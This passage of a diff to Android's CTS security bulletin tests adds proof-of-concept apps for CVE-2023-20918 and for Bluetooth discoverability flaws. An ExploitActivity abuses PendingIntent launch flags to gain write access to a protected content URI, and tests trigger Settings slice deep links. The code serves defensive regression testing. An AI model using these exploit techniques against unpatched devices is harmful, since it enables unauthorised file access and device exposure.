+            mWindowManager.removeView(mButton);
+            super.onDestroy();
+        } catch (Exception ignored) {
+            // Ignoring unintended exceptions
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/Android.bp
similarity index 81%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/Android.bp
index 09297b2..af4ad21 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/Android.bp
@@ -20,9 +20,9 @@
 }
 
 android_test_helper_app {
-    name: "CVE-2022-20347",
+    name: "CVE-2023-20918-attacker",
     defaults: [
-        "cts_defaults",
+        "cts_support_defaults",
     ],
     srcs: [
         "src/**/*.java",
@@ -30,10 +30,6 @@
     test_suites: [
         "sts",
     ],
-    static_libs: [
-        "androidx.test.core",
-        "androidx.test.rules",
-        "androidx.test.uiautomator_uiautomator",
-    ],
+    // platform_apis set to true here to access hidden method setPendingIntentLaunchFlags
     platform_apis: true,
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/AndroidManifest.xml
similarity index 63%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
copy to hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/AndroidManifest.xml
index d9e0ab2..bcc3ad1 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/AndroidManifest.xml
@@ -1,6 +1,5 @@
-<?xml version="1.0" encoding="utf-8"?>
 <!--
-  Copyright 2021 The Android Open Source Project
+  Copyright 2022 The Android Open Source Project
 
   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
@@ -14,7 +13,11 @@
   See the License for the specific language governing permissions and
   limitations under the License.
   -->
-<account-authenticator
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    android:accountType="android.security.cts.cve_2021_0685.account"
-    android:label="CVE-2021-0685" />
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2023_20918_attacker">
+    <application>
+        <activity android:name=".ExploitActivity"
+            android:exported="true" />
+    </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/res/values/strings.xml
new file mode 100644
index 0000000..9523eca
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/res/values/strings.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="bcastActionTestAssumeFail">CVE_2023_20918_assume_fail_action</string>
+    <string name="bcastActionTestFail">CVE_2023_20918_test_fail_action</string>
+    <string name="bcastActionTestPass">CVE_2023_20918_test_pass_action</string>
+    <string name="contentUri">content://authority_CVE_2023_20918_test/file_path/poc.txt</string>
+    <string name="expActivityExploit">Got an exception in ExploitActivity with message: %1$s
+    </string>
+    <string name="keyMsgAssumeFail">msg</string>
+    <string name="keyPendingIntent">pi</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/src/android/security/cts/CVE_2023_20918_attacker/ExploitActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/src/android/security/cts/CVE_2023_20918_attacker/ExploitActivity.java
new file mode 100644
index 0000000..1693cac
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/src/android/security/cts/CVE_2023_20918_attacker/ExploitActivity.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20918_attacker;
+
+import android.app.Activity;
+import android.app.ActivityOptions;
+import android.app.PendingIntent;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+
+public class ExploitActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        try {
+            super.onCreate(savedInstanceState);
+            Intent intent = getIntent();
+            final String keyPendingIntent = getString(R.string.keyPendingIntent);
+
+            // If intent contains 'keyPendingIntent', then this activity is launched again using
+            // the custom intent that the extra 'keyPendingIntent' holds.
+            if (intent.hasExtra(keyPendingIntent)) {
+                PendingIntent activity = intent.getParcelableExtra(keyPendingIntent);
+                ActivityOptions options = ActivityOptions.makeBasic();
+                options.setPendingIntentLaunchFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+                activity.send(this, 0, null, null, null, "", options.toBundle());
+            } else if (intent.getData() != null) {
+                // Control goes in this block when the activity is launched again. Attempting to
+                // open uri data received from the intent.
+                Uri data = intent.getData();
+                getContentResolver().openOutputStream(data);
+
+                // If control reaches here, then it means that openOutputStream() did not raise an
+                // exception, this indicates that FLAG_GRANT_WRITE_URI_PERMISSION has been granted
+                // so sending a broadcast to DeviceTest with the test_fail status.
+                sendBroadcastToTestApp(getString(R.string.bcastActionTestFail));
+            }
+        } catch (Exception e) {
+            if (e instanceof SecurityException
+                    && e.getMessage().contains(getString(R.string.keyPendingIntent))) {
+                // ignoring this exception since it occurs with fix
+                sendBroadcastToTestApp(getString(R.string.bcastActionTestPass));
+                return;
+            }
+
+            // Sending a broadcast to DeviceTest to indicate assumption failure status,
+            // since an exception was raised unrelated to the vulnerability
+            sendBroadcastToTestApp(getString(R.string.bcastActionTestAssumeFail),
+                    getString(R.string.expActivityExploit, e.getMessage()));
+        }
+    }
+
+    public void sendBroadcastToTestApp(String action) {
+        sendBroadcastToTestApp(action, null);
+    }
+
+    public void sendBroadcastToTestApp(String action, String assumeFailMsg) {
+        try {
+            Intent intent = new Intent(action);
+            if (assumeFailMsg != null) {
+                intent.putExtra(getString(R.string.keyMsgAssumeFail), assumeFailMsg);
+            }
+            sendBroadcast(intent);
+        } catch (Exception ignored) {
+            // ignore the exceptions
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/Android.bp
similarity index 81%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/Android.bp
index 09297b2..a32ae6c 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/Android.bp
@@ -20,9 +20,9 @@
 }
 
 android_test_helper_app {
-    name: "CVE-2022-20347",
+    name: "CVE-2023-20918-test",
     defaults: [
-        "cts_defaults",
+        "cts_support_defaults",
     ],
     srcs: [
         "src/**/*.java",
@@ -33,7 +33,8 @@
     static_libs: [
         "androidx.test.core",
         "androidx.test.rules",
-        "androidx.test.uiautomator_uiautomator",
+        // including this to use androidx.core.content.FileProvider
+        "androidx.legacy_legacy-support-v4",
     ],
-    platform_apis: true,
+    sdk_version: "current",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/AndroidManifest.xml
new file mode 100644
index 0000000..b95b6d7
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2023_20918_test">
+    <application>
+        <provider android:name="androidx.core.content.FileProvider"
+            android:authorities="authority_CVE_2023_20918_test"
+            android:grantUriPermissions="true">
+            <meta-data android:name="android.support.FILE_PROVIDER_PATHS"
+                android:resource="@xml/file_paths" />
+        </provider>
+    </application>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2023_20918_test" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/res/values/strings.xml
new file mode 100644
index 0000000..40b8d36
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/res/values/strings.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="activityExploit">android.security.cts.CVE_2023_20918_attacker.ExploitActivity
+    </string>
+    <string name="bcastActionTestAssumeFail">CVE_2023_20918_assume_fail_action</string>
+    <string name="bcastActionTestFail">CVE_2023_20918_test_fail_action</string>
+    <string name="bcastActionTestPass">CVE_2023_20918_test_pass_action</string>
+    <string name="contentUri">content://authority_CVE_2023_20918_test/file_path/poc.txt</string>
+    <string name="fileContents">This is a read only file\n</string>
+    <string name="keyMsgAssumeFail">msg</string>
+    <string name="keyPendingIntent">pi</string>
+    <string name="msgAssumeFailDefault">Got an exception in DeviceTest.java</string>
+    <string name="msgFail">Device is vulnerable to b/243794108 !!</string>
+    <string name="pkgAttacker">android.security.cts.CVE_2023_20918_attacker</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/res/xml/file_paths.xml
similarity index 70%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
copy to hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/res/xml/file_paths.xml
index d9e0ab2..dd4259b 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/res/xml/file_paths.xml
@@ -1,6 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  Copyright 2021 The Android Open Source Project
+  Copyright 2022 The Android Open Source Project
 
   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
@@ -14,7 +14,7 @@
   See the License for the specific language governing permissions and
   limitations under the License.
   -->
-<account-authenticator
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    android:accountType="android.security.cts.cve_2021_0685.account"
-    android:label="CVE-2021-0685" />
+
+<paths>
+    <files-path name="file_path" path="./" />
+</paths>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/src/android/security/cts/CVE_2023_20918_test/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/src/android/security/cts/CVE_2023_20918_test/DeviceTest.java
new file mode 100644
index 0000000..e677938
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/src/android/security/cts/CVE_2023_20918_test/DeviceTest.java
@@ -0,0 +1,118 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20918_test;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.net.Uri;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.OutputStream;
+import java.nio.charset.StandardCharsets;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private static final long TIMEOUT_MS = 10_000L;
+    private String mAssumeFailMsg;
+
+    @Test
+    public void testCVE_2023_20918() {
+        try {
+            Context context = getApplicationContext();
+            mAssumeFailMsg = context.getString(R.string.msgAssumeFailDefault);
+            final CompletableFuture<Boolean> exploitActivityReturn = new CompletableFuture<>();
+            final String bcastActionFail = context.getString(R.string.bcastActionTestFail);
+            final String bcastActionPass = context.getString(R.string.bcastActionTestPass);
+            final String bcastActionAssumeFail =
+                    context.getString(R.string.bcastActionTestAssumeFail);
+
+            // Register a broadcast receiver to receive broadcast from ExploitActivity indicating
+            // presence of vulnerability
+            BroadcastReceiver broadcastReceiver = new BroadcastReceiver() {
+                @Override
+                public void onReceive(Context context, Intent intent) {
+                    try {
+                        if (intent.getAction().equals(bcastActionFail)) {
+                            exploitActivityReturn.complete(true);
+                        } else if (intent.getAction().equals(bcastActionPass)) {
+                            exploitActivityReturn.complete(false);
+                        } else if (intent.getAction().equals(bcastActionAssumeFail)) {
+                            // mAssumeFailMsg set here is used in assumeNoException() triggered
+                            // when exploitActivityReturn.get() raises a timeout exception
+                            mAssumeFailMsg = intent
+                                    .getStringExtra(context.getString(R.string.keyMsgAssumeFail));
+                        }
+                    } catch (Exception ignored) {
+                        // ignore the exceptions
+                    }
+                }
+            };
+            IntentFilter filter = new IntentFilter();
+            filter.addAction(bcastActionFail);
+            filter.addAction(bcastActionPass);
+            filter.addAction(bcastActionAssumeFail);
+            context.registerReceiver(broadcastReceiver, filter);
+
+            // Write some data to the Uri content://authority/file_path/poc.txt
+            final String uriString = context.getString(R.string.contentUri);
+            try (OutputStream outputStream =
+                    context.getContentResolver().openOutputStream(Uri.parse(uriString));) {
+                outputStream.write(
+                        context.getString(R.string.fileContents).getBytes(StandardCharsets.UTF_8));
+            }
+
+            // Creating an intent to launch ExploitActivity
+            Intent intent = new Intent();
+            final String attackerPkg = context.getString(R.string.pkgAttacker);
+            final String exploitActivity = context.getString(R.string.activityExploit);
+            intent.setClassName(attackerPkg, exploitActivity);
+            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
+            // Creating the inner intent for PendingIntent
+            Intent innerIntent = new Intent(Intent.ACTION_MAIN, Uri.parse(uriString));
+            innerIntent.setClassName(attackerPkg, exploitActivity);
+            innerIntent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
+            innerIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
+            // Launch the ExploitActivity passing PendingIntent as data
+            intent.putExtra(context.getString(R.string.keyPendingIntent), PendingIntent
+                    .getActivity(context, 0, innerIntent, PendingIntent.FLAG_IMMUTABLE));
+            context.startActivity(intent);
+
+            // On vulnerable device, the PendingIntent launchIntentFlags will be added even though
+            // it is immutable, so the test should fail if the flags are found to take effect.
+            assertFalse(context.getString(R.string.msgFail),
+                    exploitActivityReturn.get(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } catch (Exception e) {
+            assumeNoException(mAssumeFailMsg, e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/Android.bp
similarity index 95%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
copy to hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/Android.bp
index 09297b2..7e827e4 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/Android.bp
@@ -20,7 +20,7 @@
 }
 
 android_test_helper_app {
-    name: "CVE-2022-20347",
+    name: "TestBluetoothDiscoverable",
     defaults: [
         "cts_defaults",
     ],
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/AndroidManifest.xml
similarity index 90%
rename from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/AndroidManifest.xml
rename to hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/AndroidManifest.xml
index 9242123..9470a64 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/AndroidManifest.xml
@@ -16,7 +16,7 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.security.cts.CVE_2022_20347">
+    package="android.security.cts.TestBluetoothDiscoverable">
     <uses-permission android:name="android.permission.BLUETOOTH"/>
     <uses-permission android:name="android.permission.BLUETOOTH_CONNECT"/>
     <uses-permission android:name="android.permission.BLUETOOTH_SCAN"/>
@@ -31,5 +31,5 @@
     </application>
     <instrumentation
         android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.security.cts.CVE_2022_20347" />
+        android:targetPackage="android.security.cts.TestBluetoothDiscoverable" />
 </manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/res/values/integers.xml
similarity index 100%
rename from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/res/values/integers.xml
rename to hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/res/values/integers.xml
diff --git a/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/res/values/strings.xml
new file mode 100644
index 0000000..4821de2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/res/values/strings.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="allowButtonResKey">allow</string>
+    <string name="broadcastAction">testBluetoothDiscoverableBroadcastAction</string>
+    <string name="btAction">btAction</string>
+    <string name="defaultSettingsPkg">com.android.settings</string>
+    <string name="messageKey">message</string>
+    <string name="msgDeviceLocked">Device is in sleep or locked mode</string>
+    <string name="msgFailBluetoothDashboardFragment">Device is vulnerable to b/244423101 !! Possible
+    to make bluetooth discoverable via BluetoothDashboardFragment</string>
+    <string name="msgFailConnectedDeviceDashboardFragment">Device is vulnerable to b/228450811 !!
+    Possible to make bluetooth discoverable via ConnectedDeviceDashboardFragment</string>
+    <string name="resType">string</string>
+    <string name="resultKey">result</string>
+    <string name="sliceBluetoothDashboardUri">
+    settings://%1$s.slices/?slice=content://%2$s/action/bluetooth
+    </string>
+    <string name="sliceConnectedDevicesDashboardUri">
+    settings://%1$s.slices/?slice=content://%1$s.slices/action/bluetooth_devices
+    </string>
+    <string name="sliceDeepLinkSpringBoardClassName">%1$s.slices.SliceDeepLinkSpringBoard</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/src/android/security/cts/TestBluetoothDiscoverable/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/src/android/security/cts/TestBluetoothDiscoverable/DeviceTest.java
new file mode 100644
index 0000000..b893fc4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/src/android/security/cts/TestBluetoothDiscoverable/DeviceTest.java
@@ -0,0 +1,242 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.TestBluetoothDiscoverable;
+
+import static android.bluetooth.BluetoothAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE;
+import static android.provider.SettingsSlicesContract.AUTHORITY;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Instrumentation;
+import android.app.KeyguardManager;
+import android.app.UiAutomation;
+import android.bluetooth.BluetoothAdapter;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.res.Resources;
+import android.net.Uri;
+import android.os.PowerManager;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private static Context sContext;
+    private BluetoothAdapter mBtAdapter;
+    private BroadcastReceiver mBroadcastReceiver;
+    private Instrumentation mInstrumentation;
+    private Resources mResources;
+    private Semaphore mBroadcastReceived;
+    private String mErrorMessage;
+    private UiAutomation mUiAutomation;
+    private UiDevice mDevice;
+    private boolean mBtState;
+    private int mStatusCode;
+
+    @Before
+    public void setUp() {
+        try {
+            mInstrumentation = getInstrumentation();
+            sContext = mInstrumentation.getTargetContext();
+            mBroadcastReceived = new Semaphore(0);
+            mBtState = false;
+            mResources = sContext.getResources();
+            mBtAdapter = BluetoothAdapter.getDefaultAdapter();
+            mStatusCode = mResources.getInteger(R.integer.assumptionFailure);
+            mErrorMessage = "";
+
+            // Register BroadcastReceiver to receive status from PocActivity
+            mBroadcastReceiver = new BroadcastReceiver() {
+                @Override
+                public void onReceive(Context context, Intent intent) {
+                    try {
+                        if (intent.getAction()
+                                .equals(mResources.getString(R.string.broadcastAction))) {
+                            mStatusCode =
+                                    intent.getIntExtra(mResources.getString(R.string.resultKey),
+                                            mResources.getInteger(R.integer.assumptionFailure));
+                            mErrorMessage = intent
+                                    .getStringExtra(mResources.getString(R.string.messageKey));
+                            mBroadcastReceived.release();
+                        }
+                    } catch (Exception ignored) {
+                        // Ignore exceptions here
+                    }
+                }
+            };
+            IntentFilter filter = new IntentFilter();
+            filter.addAction(sContext.getString(R.string.broadcastAction));
+            sContext.registerReceiver(mBroadcastReceiver, filter);
+
+            // Save the state of bluetooth adapter to reset after the test
+            mBtState = mBtAdapter.isEnabled();
+
+            // Disable bluetooth if already enabled in 'SCAN_MODE_CONNECTABLE_DISCOVERABLE' mode
+            if (mBtAdapter.getScanMode() == SCAN_MODE_CONNECTABLE_DISCOVERABLE) {
+                switchBluetoothMode(BluetoothAdapter.ACTION_REQUEST_DISABLE);
+            }
+
+            // Enable bluetooth if in disabled state
+            switchBluetoothMode(BluetoothAdapter.ACTION_REQUEST_ENABLE);
+
+            // 'MODIFY_PHONE_STATE' permission is required to launch target Settings app activity
+            mUiAutomation = mInstrumentation.getUiAutomation();
+            mUiAutomation
+                    .adoptShellPermissionIdentity(android.Manifest.permission.MODIFY_PHONE_STATE);
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+
+    @After
+    public void tearDown() {
+        try {
+            mUiAutomation.dropShellPermissionIdentity();
+            // Disable bluetooth if it was OFF before the test
+            if (!mBtState) {
+                switchBluetoothMode(BluetoothAdapter.ACTION_REQUEST_DISABLE);
+            }
+            sContext.unregisterReceiver(mBroadcastReceiver);
+        } catch (Exception e) {
+            // Ignore exceptions here
+        }
+    }
+
+    @Test
+    public void testConnectedDeviceDashboardFragment() {
+        try {
+            // Check if device is unlocked
+            PowerManager powerManager = sContext.getSystemService(PowerManager.class);
+            KeyguardManager keyguardManager = sContext.getSystemService(KeyguardManager.class);
+            assumeTrue(sContext.getString(R.string.msgDeviceLocked),
+                    powerManager.isInteractive() && !keyguardManager.isKeyguardLocked());
+
+            // Check if bluetooth is enabled. The test requires bluetooth to be enabled
+            assumeTrue(mBtAdapter.isEnabled());
+
+            // Check if bluetooth mode is not set to SCAN_MODE_CONNECTABLE_DISCOVERABLE
+            assumeTrue(mBtAdapter.getScanMode() != SCAN_MODE_CONNECTABLE_DISCOVERABLE);
+
+            // Launch bluetooth settings which is supposed to set scan mode to
+            // SCAN_MODE_CONNECTABLE_DISCOVERABLE if vulnerability is present
+            String settingsPkg = getSettingsPkgName();
+            Intent intent = new Intent();
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            intent.setData(Uri.parse(
+                    sContext.getString(R.string.sliceConnectedDevicesDashboardUri, settingsPkg)));
+            intent.setClassName(settingsPkg,
+                    sContext.getString(R.string.sliceDeepLinkSpringBoardClassName, settingsPkg));
+            sContext.startActivity(intent);
+
+            // Wait until target activity from settings package is launched
+            mDevice = UiDevice.getInstance(mInstrumentation);
+            assumeTrue(mDevice.wait(Until.hasObject(By.pkg(settingsPkg)),
+                    mResources.getInteger(R.integer.timeoutMs)));
+
+            // Test fails if bluetooth is made discoverable through PoC
+            boolean isBtDiscoverable =
+                    (mBtAdapter.getScanMode() == SCAN_MODE_CONNECTABLE_DISCOVERABLE);
+            assertFalse(sContext.getString(R.string.msgFailConnectedDeviceDashboardFragment),
+                    isBtDiscoverable);
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+
+    @Test
+    public void testBluetoothDashboardFragment() {
+        try {
+            // Check if device is unlocked
+            PowerManager powerManager = sContext.getSystemService(PowerManager.class);
+            KeyguardManager keyguardManager = sContext.getSystemService(KeyguardManager.class);
+            assumeTrue(sContext.getString(R.string.msgDeviceLocked),
+                    powerManager.isInteractive() && !keyguardManager.isKeyguardLocked());
+
+            // Check if bluetooth is enabled. The test requires bluetooth to be enabled
+            assumeTrue(mBtAdapter.isEnabled());
+
+            // Check if bluetooth mode is not set to SCAN_MODE_CONNECTABLE_DISCOVERABLE
+            assumeTrue(mBtAdapter.getScanMode() != SCAN_MODE_CONNECTABLE_DISCOVERABLE);
+
+            // Launch bluetooth settings which is supposed to set scan mode to
+            // SCAN_MODE_CONNECTABLE_DISCOVERABLE if vulnerability is present
+            String settingsPkg = getSettingsPkgName();
+            Intent intent = new Intent();
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            intent.setData(Uri.parse(sContext.getString(R.string.sliceBluetoothDashboardUri,
+                    settingsPkg, AUTHORITY)));
+            sContext.startActivity(intent);
+
+            // Wait until target activity from settings package is launched
+            mDevice = UiDevice.getInstance(mInstrumentation);
+            assumeTrue(mDevice.wait(Until.hasObject(By.pkg(settingsPkg)),
+                    mResources.getInteger(R.integer.timeoutMs)));
+
+            // Test fails if bluetooth is made discoverable through PoC
+            boolean isBtDiscoverable =
+                    (mBtAdapter.getScanMode() == SCAN_MODE_CONNECTABLE_DISCOVERABLE);
+            assertFalse(sContext.getString(R.string.msgFailBluetoothDashboardFragment),
+                    isBtDiscoverable);
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+
+
+    public static String getSettingsPkgName() {
+        // Retrieve settings package name dynamically
+        Intent settingsIntent = new Intent(Settings.ACTION_SETTINGS);
+        ComponentName settingsComponent =
